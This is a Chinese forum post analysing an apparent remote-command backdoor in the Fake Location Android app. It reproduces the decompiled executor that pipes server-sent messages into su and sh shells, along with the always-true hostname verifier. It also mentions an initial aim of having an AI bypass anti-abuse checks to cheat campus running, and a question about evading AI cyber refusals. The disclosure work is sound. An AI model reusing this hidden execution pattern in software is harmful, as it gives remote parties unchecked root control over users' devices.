Fake Location 1.5.2 高危后门分析

BlueFunny 2026-09-03 09:22 1

0x0 前言


笔者本人这段时间正被校园跑所困,苦于不想下楼和成绩归零的纠结之中。虽然早就知道某虚拟定位应用的实力,但该应用于 1.4 版本起引入了防滥用机制,导致其无法在笔者的校园跑软件中使用。于是笔者便打算利用 ChatGPT 最新的 GPT-5.6 Sol 模型对其进行分析,并试图绕过这种限制。但在 GPT 呈现分析结果时,其中的一句话吸引了笔者的注意,而后便有了此文。



原文意为 “响应代码 10000 是一种特别危险的隐藏机制:它会通过 root 终端和普通终端两种方式执行服务器提供的响应消息。”




另,据笔者了解,Fake Location 早期版本(1.3.5 BETA)中就已经存在类似的后门机制,不过当时还只是采用 system_service 权限,至于为何此问题一直延续至今,且其调用方式和位置变得更加隐蔽,笔者在此不做评价。



0x1 基本信息


本次分析采用的是 Fake Location 国内版 1.5.2 (1702),取自 应用分发



  • APK SHA-256:5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1

  • APK 签名信息:CN=Lerist., OU=览一科技, O=成都览一科技有限公司, L=chengdu, ST=sichuan, C=CN

  • APK 签名 SHA-256:B5:5E:7F:6C:CB:63:31:8B:2C:C4:D3:C4:5E:6B:14:81:31:06:1A:2A:CD:0A:82:72:5F:E5:9E:11:8D:1D:DA:FC



如果现存官方版因不明原因消失或发生改变,这里是可能的一些备份:



  • 官方发布链接

  • 官方发布链接 (Internet Archive)

  • GitHub Release 发布页

  • GitHub Release 发布页 (Internet Archive)

  • GitHub Release 发布页 (展开资产页)

  • GitHub Release 发布页 (展开资产页) (Internet Archive)



本次分析采用的工具为 Codex CLI(GPT-5.6 Sol (max))、Claude Code(Claude Opus 4.6 / Claude Opus 5)、Jadx、Frida、IDA Pro。


另,尽管本次分析主要采用 AI 进行分析验证,但笔者已在后期进行人工逆向复核,并确认 AI 分析结果有效且可复现,诸位大牛也可以自行采用官方于 Fake Location 官网或 GitHub 上面发布的版本进行验证。


0x2 脱壳


GPT 一开始先使用 Jadx 直接逆向 APK 本体,而后发现其中只有 4 个类定义,均为壳的引导类,其中入口类 com/lerist/app/FLApp 会在 attachBaseContext 中加载 native 库,而真正的代码被放在 assets/yaqgdtadv.dat,运行时会由 libyaqcore_gdtadv.so 解密。通过这些特征可以确定现版本的 Fake Location 采用了腾讯乐固。


而后,GPT 提示笔者协助采用 frida-dex-dump 工具获取运行时 dex 文件,最终获得了 101 个 dex 文件交由 GPT 进行分析。


0x3 登门拜访


GPT 先利用 Jadx 对这 101 个 dex 进行了逆向,并辅以 baksmali 工具生成的 Smali 来补全 Jadx 无法逆向的部分,最终确定在 classes09.dex 这个文件中存在后门核心代码。


其中,回调基类 C2776.AbstractC2778.m9064 的原始反编译结果如下:


public void m9064(ڠ<yl0<T>> r5, ml0<yl0<T>> ml0Var) {
if (ml0Var == null) {
mo234(-1, zg1.m5087(new byte[]{40, 115, 71, -27, -127, -41, 58, 112, 122, 127, 71, -75, -128, -52, 37, 121, 116}, new byte[]{90, 22, 52, -107, -18, -71, 73, 21}));
return;
}
if (!ml0Var.ඇ()) {
mo234(ml0Var.ஆ(), zg1.m5087(new byte[]{7, 53, -124, 93, 65}, new byte[]{100, 90, -32, 56, 124, 75, 62, 77}) + ml0Var.ஆ() + zg1.m5087(new byte[]{45, 13, 123, 58, 97, 110, -126, -120, 100, 16}, new byte[]{1, 45, 22, 95, 18, 29, -29, -17}) + ml0Var.ʥ());
return;
}
yl0<T> yl0Var = (yl0) ml0Var.ඈ();
if (yl0Var == null) {
mo234(yl0Var.getCode(), zg1.m5087(new byte[]{11, -58, 20, -74, -7, 69, 9, 15, 121, -63, 8, -94, -17, 11, 27, 8, 55, -52, 21, -85, -1, 95, 3, 68}, new byte[]{89, -93, 103, -58, -106, 43, 122, 106}));
return;
}
if (yl0Var.isSuccess()) {
try {
mo232(yl0Var, yl0Var.getBody());
return;
} catch (Exception e) {
mo234(yl0Var.getCode(), "" + e.getMessage());
return;
}
}
int code = yl0Var.getCode();
String message = yl0Var.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
z41.m5033(true, message);
z41.m5033(false, message);
}
mo234(yl0Var.getCode(), "" + yl0Var.getMessage());
}

由于原始代码中充斥着混淆后的字节数组和不可读的方法名,GPT 结合 Smali 对其进行了语义还原,最终清理后的逻辑如下:


if (!httpResponse.isSuccessful()) {
callback.onError(httpResponse.code(), httpResponse.message());
return;
}

yl0<T> envelope = httpResponse.body();
if (envelope.isSuccess()) {
callback.onSuccess(envelope, envelope.getBody());
return;
}

int code = envelope.getCode();
String message = envelope.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
z41.m5033(true, message);
z41.m5033(false, message);
}
callback.onError(envelope.getCode(), String.valueOf(envelope.getMessage()));

这里需要额外确认一下 isSuccess() 到底认什么值。在响应信封类 yl0 中可以找到如下代码:


public boolean isSuccess() {
return this.code == 200;
}

也就是说只有业务码 200 才会被视为成功,10000 不会走成功分支,而是会落入后面的特殊处理。


而后,它又在 C2776.m9060 这个方法中找到了相同逻辑,为避免篇幅过长,此处不再赘述。


根据这部分代码可以看出,HTTP 层面的失败响应不会进入该分支,业务码 200 也会通过正常的成功回调返回,而其他业务码则都会被视为应用错误,但 10000 会在常规错误回调之前受到特殊处理。



咱们人类肯定是不能硬啃这无量空处的,所以这里给一下笔者人工分析的思路:

先用逆向 dump 出来的 dex 获得 Java 源码和 Smali 指令,然后在 Java 代码中搜索 10000,在 Smali 中搜索它的十六进制值 0x2710,最终便可以在 C2776.java 这个文件内定位到上述两个响应处理方法了。




另,作者疑似特地选了 androidx/appcompat/view/widget 这个路径来安置后门,当时还困扰了 GPT-5.6 Sol 一段时间,以为是第三方库投毒,但后来分析发现它调用的都是 Fake Location 主包名内部类,且会调用官方 API,由此确定是作者有意选择的这个路径。



另外,在分析完具体的后门逻辑后,笔者又让 GPT 确认了一遍这段代码的调用逻辑,毕竟目前只能确定存在这些代码,但不确定它们到底是否被使用上了。


很快啊,GPT 确定应用初始化时会自动请求一次 app/getAppConfigs 以获取配置数据,成功返回后每隔 252,000,000 毫秒(约 70 小时)再次执行;在用户成功登录后,应用还会通过 user/get 接口以 604,800,000 毫秒(7 天)为间隔进行轮询,而该接口同样使用包含后门分支的静态处理器 C2776.m9060。也就是说,只要 App 在运行,后门分支就有可能在任何一次常规轮询中被触发。


0x4 深入分析


继续追踪 z41.m5033 这个方法,可以得到如下的代码:


public static C0855 m5033(boolean z, String... strArr) {
return m5039(strArr, z, true);
}

但它只是对另一个方法的包装,我们需要继续追查下去,看看 m5039 到底是个什么东西。


然后…Jadx 就爆炸了…


public static androidx.appcompat.view.widget.z41.C0855 m5039(java.lang.String[] r8, boolean r9, boolean r10) {
/*
Method dump skipped, instruction units count: 321
To view this dump add '--comments-level debug' option
*/
throw new UnsupportedOperationException("Method not decompiled: androidx.appcompat.view.widget.z41.m5039(java.lang.String[], boolean, boolean):androidx.appcompat.view.widget.z41$ඈ");
}

但问题不大,我们还有 Smali 可以看。最终 GPT 推出了如下的 Java 代码:


public static C0855 m5039(String[] strArr, boolean z, boolean z2) {
int i = -1;
Process process = null;
DataOutputStream dataOutputStream = null;
BufferedReader bufferedReader = null;
BufferedReader bufferedReader2 = null;
StringBuilder sb = null;
StringBuilder sb2 = null;

if (strArr == null || strArr.length == 0) {
return new C0855(-1, null, null);
}

try {
Runtime runtime = Runtime.getRuntime();

if (z) {
process = runtime.exec(f6973);
} else {
process = runtime.exec("sh");
}

dataOutputStream =
new DataOutputStream(process.getOutputStream());

for (String str : strArr) {
if (str != null) {
dataOutputStream.write(str.getBytes());
dataOutputStream.writeBytes("\n");
dataOutputStream.flush();
}
}

dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();

bufferedReader =
new BufferedReader(
new InputStreamReader(process.getInputStream()));

bufferedReader2 =
new BufferedReader(
new InputStreamReader(process.getErrorStream()));

if (z2) {
sb = new StringBuilder();
sb2 = new StringBuilder();

String readLine;

while ((readLine = bufferedReader.readLine()) != null) {
sb.append(readLine);
sb.append("\n");
}

while ((readLine = bufferedReader2.readLine()) != null) {
sb2.append(readLine);
sb2.append("\n");
}
} else {
while (bufferedReader.readLine() != null) {
// Drain standard output without retaining it.
}

while (bufferedReader2.readLine() != null) {
// Drain standard error without retaining it.
}
}

i = process.waitFor();
} catch (Throwable th) {
/*
* The Smali prints the exception, closes whichever streams were
* successfully created, destroys the process, and then returns a
* CommandResult with the information collected before the failure.
*
* If printStackTrace() itself throws, the cleanup still runs and
* that secondary exception is propagated.
*/
try {
th.printStackTrace();
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}

if (bufferedReader != null) {
bufferedReader.close();
}

if (bufferedReader2 != null) {
bufferedReader2.close();
}
} catch (IOException e) {
e.printStackTrace();
}

if (process != null) {
process.destroy();
}
}

return new C0855(
i,
sb == null ? null : sb.toString(),
sb2 == null ? null : sb2.toString());
}

try {
dataOutputStream.close();
bufferedReader.close();
bufferedReader2.close();
} catch (IOException e) {
e.printStackTrace();
}

process.destroy();

return new C0855(
i,
sb == null ? null : sb.toString(),
sb2 == null ? null : sb2.toString());
}

由于上面这段 Java 代码是 GPT 从 Smali 还原的,以下贴出原始 Smali 中最关键的三个片段供独立验证(完整方法共 321 条指令,已去除异常处理分支和行号注释):


# ——— 片段 1:进程启动,根据布尔参数选择 su/suu 或 sh ———

invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
move-result-object v2

if-eqz p1, :cond_1 # p1=false → 跳到 sh
sget-object p1, Landroidx/appcompat/view/widget/z41;->ඈ:Ljava/lang/String;
# p1=true → 取静态字段("su" 或 "suu")
goto :goto_1

:cond_1
const-string p1, "sh"

:goto_1
invoke-virtual {v2, p1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;

# ——— 片段 2:将命令字符串原样写入进程 stdin ———

aget-object v6, p0, v4 # 取当前字符串(即服务端下发的 message)
invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B
move-result-object v6
invoke-virtual {v2, v6}, Ljava/io/OutputStream;->write([B)V # 写入字节
invoke-virtual {v2, v5}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
# 追加 "\n"
invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V

# ——— 片段 3:写入 exit,等待进程结束 ———

const-string p0, "exit\n"
invoke-virtual {v2, p0}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
invoke-virtual {v2}, Ljava/io/DataOutputStream;->flush()V
# ... 中间省略 stdout/stderr 读取 ...
invoke-virtual {p1}, Ljava/lang/Process;->waitFor()I
invoke-virtual {p1}, Ljava/lang/Process;->destroy()V

至此便可以确定,这个执行器没有任何命令白名单、参数转义或固定操作映射,服务端返回的 message 会被 Shell 直接解释。


并且我们还可以看到如下的代码:


if (z) {
process = runtime.exec(f6973);
} else {
process = runtime.exec("sh");
}

这个 z 便是传入的第一个布尔值,但 f6973 是个什么东西?再回到 z41 这个类中,我们便可以看到:


public static String f6973 = "su";

事情变得有意思起来了…而且,在 Jadx 恢复的 Java 代码中,我们还可以找到如下的方法:


public static boolean m5037() {
if (m5035("which su", false, false).f6975 != 0 && m5034("su") == null) {
if (m5035("which suu", false, false).f6975 != 0 && m5034("suu") == null) {
return false;
}
f6973 = "suu";
}
return true;
}

也就是说,它在 su 不可用时还会尝试一下 suu,并使用真实存在的那个二进制文件来获取 root 权限。


命令写入完成后,方法还会写入 exit\n,读取标准输出和错误输出,等待进程结束,再把退出码和输出封装成结果对象,但 code=10000 的调用点没有保存这个结果。


另外,笔者在自行分析的时候发现了一些好玩的,更能证明 m5033 铁定是个命令执行器:


public static void m5030() {
StringBuilder sb = new StringBuilder();
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append("k");
stringBuffer.append("i");
stringBuffer.append("ll");
stringBuffer.append(" -");
sb.append((Object) stringBuffer);
sb.append("9 ");
sb.append(Process.myPid());
m5033(false, sb.toString());
}

笔者推测,这个函数应该就是应用本身检测到被篡改后强行终止自己的方式,而其调用 m5033 方法的方式与上文一模一样,也可以作为一个侧面的证明吧。


0x5 寻踪觅迹


现在笔者已经证明了 Fake Location 具备任意执行命令的能力,但尚不完全明确自定义业务码是从何而来,所以还需要再进一步进行溯源。


GPT 进一步确定,C1624 继承了 AbstractC2778,其实例由 C1619.m6838 方法创建,而 m6838 最终由同类的 m6836 方法调用。


整条调用路径可呈现成下面这样:


  C1619.m6836(Context)

+-- 调用 C1619.m6838()

+-- 构造 C1959 请求体

+-- tq0.m4179(c1959)
添加与配置有关的额外字段

+-- C2776.m9059()
返回单例 API 客户端

+-- C2776.m9061(c1959)
添加时间戳、应用版本、签名、包名、设备数据、账号 token、root 存在性检测结果等信息

+-- C2776.m9379(InterfaceC4521.class)
创建 Retrofit 服务实现

+-- InterfaceC4521.m12716(c1959)
@POST("app/getAppConfigs"),返回 Call<yl0<C4254>>

+-- Call.enqueue(new C1624())

+-- C1624 extends AbstractC2778<C4254>

+-- HTTP 响应到达时,Retrofit 调用继承而来的 m9064(...)

先来看 C1619.m6838()


public static void m6838() {
if (f9019 == null) {
HandlerThread handlerThread = new HandlerThread(/* 解码后的名称 */);
handlerThread.start();
f9019 = new Handler(handlerThread.getLooper());
}

C1959 c1959 = new C1959();

((InterfaceC4521)
C2776.m9059()
.m9061(tq0.m4179(c1959))
.m9379(InterfaceC4521.class))
.m12716(c1959)
.ဣ(new C1624());
}

最后一个经过混淆的调用 ဣ(new C1624()) 对应 Retrofit 的异步 enqueue(callback) 操作,GPT 提供的依据如下:



  • m12716() 返回的是应用经过混淆的 Call<yl0<C4254>> 类型;

  • C1624 通过 AbstractC2778 实现了与之对应的回调接口;

  • AbstractC2778.m9064(Call, Response) 的结构与 Callback.onResponse 完全一致;

  • AbstractC2778.m9065(Call, Throwable) 的结构与 Callback.onFailure 完全一致。


C1624 继承了该基类但并没有覆盖 m9064 方法,它只提供成功和错误处理函数 mo232()mo234(),你可以在 androidx/appcompat/view/widget/C1619 中找到它。


接下来,我们继续去寻找这个 base URL。通过检查 C2776 的构造函数可以确定,它会将两个 URL 常量传给其网络层父类:


public C2776() {
super(
C2815.m9195(),
j01.m1932(), // 主 base URL
j01.m1930() // 备用 base URL
);

m9378(new C2779());
}

C2913 使用第一个 URL 作为 base URL,并将第二个 URL 保存为重试目标:


public C2913(Context context, String str, String str2) {
super(context, str.startsWith("https://"));

this.f12105 = Collections.synchronizedList(new ArrayList());
this.f12106 = context;

// 保存备用 URL,用于重试或故障转移
m5464(str2);

// 经过混淆的 .ஆ(str) 操作对应 Retrofit.Builder.baseUrl(str)
this.f12104 = new hm0.ஆ()
.ʤ(m5468().newBuilder()
.addInterceptor(new C2914())
.build())
.ஆ(str)
.ඈ(fu0.ʤ())
.ඈ(ࢴৠࢴ.ʤ())
.ඇ();
}

随后,m9379(InterfaceC4521.class) 会调用相当于 Retrofit.create(InterfaceC4521.class) 的操作:


public <T> T m9379(Class<T> cls) {
return (T) this.f12104.ஆ(cls);
}

进一步分析 j01 类可知,其中会有如下两个常量:


public static final String f2123 = tg1.m4025(new byte[]{105, -44, -99, -78, 81, -56, 125, -104, 96, -48, -128, -20, 68, -109, 57, -46, 109, -49, -118, -20, 65, -111, 104, -125, 53, -109, -39, -19, 100, -109, 57, -46, 77, -49, -118, -93, 86, -101, 61, -39, 46}, new byte[]{1, -96, -23, -62, 34, -14, 82, -73});

public static final String f2124 = tg1.m4025(new byte[]{110, -82, -74, -97, -97, -98, 83, -113, 96, -69, -87, -118, -128, -53, 31, -63, 114, -77, -83, -127, -62, -59, 12, -55, 40, -74, -89, -99, -123, -41, 8, -114, 98, -65, -76, -43, -40, -112, 79, -112, 41, -100, -93, -124, -119, -24, 19, -61, 103, -82, -85, -128, -126, -117}, new byte[]{6, -38, -62, -17, -20, -92, 124, -96});

其中,f2123 是主 base URL,f2124 是备用 base URL,GPT 在 bh1 当中找到了具体的解码方式:


public static byte[] m253(byte[] bArr, byte[] bArr2) {
int length = bArr.length;
int length2 = bArr2.length;
int i = 0;
int i2 = 0;
while (i < length) {
if (i2 >= length2) {
i2 = 0;
}
bArr[i] = (byte) (bArr[i] ^ bArr2[i2]);
i++;
i2++;
}
return bArr;
}

核心原理就是用循环密钥逐字节地执行异或,最终可得出如下两个 base URL:



  • 主 base URL:https://api.fakeloc.cc:4430/FakeLocation/

  • 备用 base URL:https://fakelocation.api.lerist.dev:4430/FakeLocation/


而后 GPT 又发现了两套相互重叠的故障转移机制,不过最终二者都会切换到同一个 j01.m1930() 地址,主要实现位于 C1006C2776.C2779,在转移完成后的大概 30 分钟内 C1006.C1011 会把后续请求发送给备用 API 地址,但自始至终没有再引入第三个 API 地址,故这里不再赘述。


至此,我们便基本可以确定这段后门代码属于 Fake Location 应用自身,而非其集成的任何第三方 SDK:



  • C2776 直接处理 Fake Location 自己的 app/getAppConfigs 接口;

  • 回调类 C1624 处理 isAllowRun、地图密钥等应用核心配置;

  • 上层类 C1619 引用了 com.lerist.lib.factory.utils.LOverrideActivity,其中 com.lerist 是该应用使用的命名空间;

  • 相关类具有同一份 R8 处理结果中的共同特征;

  • base URL 为 https://api.fakeloc.cc:4430/FakeLocation/https://fakelocation.api.lerist.dev:4430/FakeLocation/


0x6 后记


其实目前还有不少东西没有办法确定。例如,无法确定服务端是否曾经真的返回过 code=10000——确认这一点需要查看服务端日志,而这不是客户端逆向能做到的事。同样,也无法断定所有 API 都会经过这段代码,虽然目前已确认的两条路径(app/getAppConfigsuser/get)已经足够覆盖应用的正常运行周期了。


笔者也无意在此揣测作者的主观意图。这条通道有可能是为了远程维护、反滥用或紧急修复而留的,但不管它原本是用来干什么的,从技术上看它就是一条不受设备所有者控制的、泛用的远程命令执行通道——而且恰好面向一群已经把 root 权限和 SELinux permissive 都交出去的用户。


另外值得一提的是,Claude 在复核过程中还发现 Fake Location 的 HTTP 客户端里有一个恒返回 trueHostnameVerifier,也就是 TLS 握手时不校验域名是否匹配。虽然证书链验证本身还在,但这意味着后门的触发者不一定只有后端运营方——在特定条件下,持有受信任 CA 签发证书的第三方也可能拦截通信并注入 code=10000 响应。


最后说几句实在的吧。如果你目前正在使用 Fake Location,并且对此感到不安,笔者建议先卸载应用,然后检查一下 superuser 管理器里是否还保留着对它的 root 授权,有的话记得撤掉。如果你之前一直是在 ROOT 模式下跑的,而且 SELinux 也被设成了 permissive,那最好再看看设备上有没有什么异常——多出来的应用、被改过的系统文件、陌生的网络连接之类的。在作者公开回应或者有人审计确认过新版本已经移除这段代码之前,笔者个人不建议继续使用。


至于 AI 在这次分析中的表现,笔者只想说——确实挺好用的。GPT-5.6 Sol 从识别加固方案到定位后门代码再到还原混淆后的完整逻辑,完成度远超笔者预期;Claude Opus 4 在独立验证阶段也补上了归属论证这一笔者和 GPT 都忽略的关键环节。当然了,AI 给出的结论终归需要人来判断和复核,这也是笔者在全文中反复手动验证每一步的原因。但如果没有 AI,笔者一个人要走完这整条链路,大概得花上好几倍的时间。


本文到此结束。如果有大佬发现笔者分析中存在纰漏或者有不同看法,欢迎指正和讨论。

最新回复 (6)
  • PositronCannon 09-03 09:26
    1

    GPT-5.6 Sol 从识别加固方案到定位后门代码再到还原混淆后的完整逻辑,完成度远超笔者预期



    GPT-5.6 sol 的拒绝和cyber,楼主是怎么处理的呢?过了cyber认证吗?

  • Brantfang 09-03 10:08
    2

    没看明白,但是我记得 fake location 有选项可以执行获取 root 权限和伪装的,这里的执行器是不是为了授权和伪装本身的作用。

  • 盐汽水 09-03 10:09
    3

    GPT只要不做修改,分析是可以的,我也用GPT自动逆向分析apk,为的是屏蔽app更新检测

  • GreenYoshi 09-03 10:23
    4



    fakelocation作者都自己给出防范机制了,几年前就怕吃律师了 能有后门不算很意外

    但fakelocation的方案目前真的还能用在大平台么?

  • wuxiaoyuan 09-03 10:49
    5

    步骤很细致,给佬点个赞。(根据始皇指路过来的)

  • duduki 09-03 11:01
    6

    每次打开google应用商店都会提示我fakelocation是高风险应用 难道是因为这个原因吗

* 帖子来源Linux.do
返回